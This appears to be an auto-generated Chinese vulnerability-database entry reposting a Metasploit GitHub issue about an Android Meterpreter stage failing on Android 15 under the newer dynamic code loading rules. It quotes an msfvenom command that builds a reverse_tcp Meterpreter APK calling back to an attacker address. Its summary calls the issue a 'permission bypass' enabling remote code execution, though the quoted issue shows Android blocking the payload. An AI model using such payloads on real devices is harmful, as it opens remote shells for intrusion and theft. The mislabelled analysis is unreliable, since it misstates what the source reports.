Android Dynamic Code Loading Restriction Vulnerability

漏洞信息

漏洞名称: Android Dynamic Code Loading Restriction Vulnerability

漏洞类型: 权限绕过

漏洞等级: 中危

漏洞描述: 该漏洞涉及Android操作系统,特别是运行Android 15(SDK 35)的Pixel 6手机。Android是一个广泛使用的移动操作系统,由Google开发,适用于智能手机和平板电脑等多种设备。此漏洞与Android 14引入的动态代码加载限制有关,旨在提高应用程序的安全性。

漏洞的具体表现为,在使用Metasploit框架生成的恶意APK文件(通过msfvenom工具创建)时,尝试在目标设备上建立Meterpreter会话时会遇到问题。尽管会话能够打开,但由于动态代码加载的限制,会话在阶段超时时会失败。这表明存在一种权限绕过问题,攻击者可能利用此漏洞绕过Android的安全限制,执行未授权的代码。

此漏洞的影响分析显示,它可能导致远程代码执行,尽管需要特定的条件和用户交互(如安装恶意APK)。攻击者可能利用此漏洞在目标设备上执行任意代码,从而可能导致数据泄露、服务中断或其他恶意活动。然而,由于需要用户安装恶意应用程序,且Android 14及更高版本已经引入了更严格的安全措施,因此此漏洞的利用难度和潜在影响相对有限。

产品厂商: Google

产品名称: Android

影响版本: 15 (SDK 35)

来源: https://github.com/rapid7/metasploit-framework/issues/20294

类型: rapid7/metasploit-framework:github issues

来源概述

Steps to reproduce

Using a Pixel 6 phone running Android 15 (SDK 35).
Created a payload .apk with

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.129.114.9 LPORT=4444 -o evil.apk

I expect this is due to restrictions around dynamic code loading added in Android 14 (https://developer.android.com/about/versions/14/behavior-changes-14?utm_source=chatgpt.com#safer-dynamic-code-loading). I think there is an easy backwards-compatible fix with File.setReadOnly() so I will try to send a PR.

Expected behavior

Stage sends / is run successfully and full Meterpreter session is opened.

Current behavior

Phone logs showing code loading error:
Image
Sessions are opening but fail when stage times out:
Image

Metasploit version

Framework: 6.4.55-dev-
Console : 6.4.55-dev-


Android Dynamic Code Loading Restriction Vulnerability
http://example.com/2025/07/09/github_51786075/
作者
lianccc
发布于
2025年7月9日
许可协议